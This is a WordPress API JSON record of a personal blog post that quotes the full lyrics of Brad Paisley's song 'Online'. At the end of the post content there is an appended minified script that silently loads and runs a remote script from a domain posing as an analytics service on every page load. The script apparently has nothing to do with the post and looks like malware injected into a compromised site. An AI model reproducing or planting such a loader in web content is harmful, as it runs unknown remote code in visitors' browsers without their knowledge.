{"id":893,"date":"2021-01-08T19:48:35","date_gmt":"2021-01-09T00:48:35","guid":{"rendered":"https:\/\/wordpress.zwart.tech\/?p=893"},"modified":"2026-05-05T04:46:25","modified_gmt":"2026-05-05T08:46:25","slug":"online-song-by-brad-paisley","status":"publish","type":"post","link":"https:\/\/wordpress.zwart.tech\/?p=893","title":{"rendered":"Online &#8211; a song by Brad Paisley"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">One of my favorite country songs from 2007 &#8211; a funny story<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Lyrics:<br>I work down at the Pizza Pit<br>And I drive an old Hyundai<br>I still live with my mom and dad<br>I&#8217;m 5&#8217;3 and overweight<br><br>I&#8217;m a sci-fi fanatic<br>Mild asthmatic<br>Never been to 2nd base<br>But there&#8217;s a whole another me<br>That you need to see<br>Go check out MySpace<br><br>&#8216;Cause online I&#8217;m down in Hollywood<br>I&#8217;m 6&#8217;5 and I look damn good<br>I drive a Maserati<br>I&#8217;m a black belt in Karate<br>And I love a good glass of wine<br>It turns girls on that I&#8217;m mysterious<br>I tell &#8217;em I don&#8217;t want nothing serious<br>&#8216;Cause even on a slow day I can have a three way<br>Chat with two women at one time<br><br>I&#8217;m so much cooler online<br>So much cooler online<br><br>I get home, I kiss my mom<br>And she fixes me a snack<br>I head down to my basement bedroom<br>And fire up my Mac<br>In real life, the only time I&#8217;ve<br>Ever even been to L.A.<br>Was when I got the chance with the marching band<br>To play tuba in the Rose Parade<br><br>Online I live in Malibu<br>I posed for Calvin Kline, I&#8217;ve been in GQ<br>I&#8217;m single and I&#8217;m rich<br>And I got a set of six pack abs that&#8217;ll blow your mind<br>It turns girls on that I&#8217;m mysterious<br>I tell &#8217;em I don&#8217;t want nothing serious<br>&#8216;Cause even on a slow day I can have a three way<br>Chat with two women at one time<br><br>I&#8217;m so much cooler online<br>Yeah I&#8217;m cooler online<br><br>When you got my kinda stacks, it&#8217;s hard to get a date<br>Let alone a real girlfriend<br>But I grow another foot<br>And I lose a bunch of weight every time I log in<br><br>Online I&#8217;m out in Hollywood<br>I&#8217;m 6&#8217;5 and I look damn good<br>Even on a slow day, I can have a three way<br>Chat with two women at one time<br>I&#8217;m so much cooler online<br>Yeah I&#8217;m cooler online<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><br><\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>One of my favorite country songs from 2007 &#8211; a funny story Lyrics:I work down at the Pizza PitAnd I drive an old HyundaiI still live with my mom and dadI&#8217;m 5&#8217;3 and overweight I&#8217;m a sci-fi fanaticMild asthmaticNever been to 2nd baseBut there&#8217;s a whole another meThat you need to seeGo check out MySpace [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-893","post","type-post","status-publish","format-standard","hentry","category-steve"],"_links":{"self":[{"href":"https:\/\/wordpress.zwart.tech\/index.php?rest_route=\/wp\/v2\/posts\/893","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/wordpress.zwart.tech\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/wordpress.zwart.tech\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/wordpress.zwart.tech\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/wordpress.zwart.tech\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=893"}],"version-history":[{"count":4,"href":"https:\/\/wordpress.zwart.tech\/index.php?rest_route=\/wp\/v2\/posts\/893\/revisions"}],"predecessor-version":[{"id":1688,"href":"https:\/\/wordpress.zwart.tech\/index.php?rest_route=\/wp\/v2\/posts\/893\/revisions\/1688"}],"wp:attachment":[{"href":"https:\/\/wordpress.zwart.tech\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=893"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/wordpress.zwart.tech\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=893"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/wordpress.zwart.tech\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=893"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}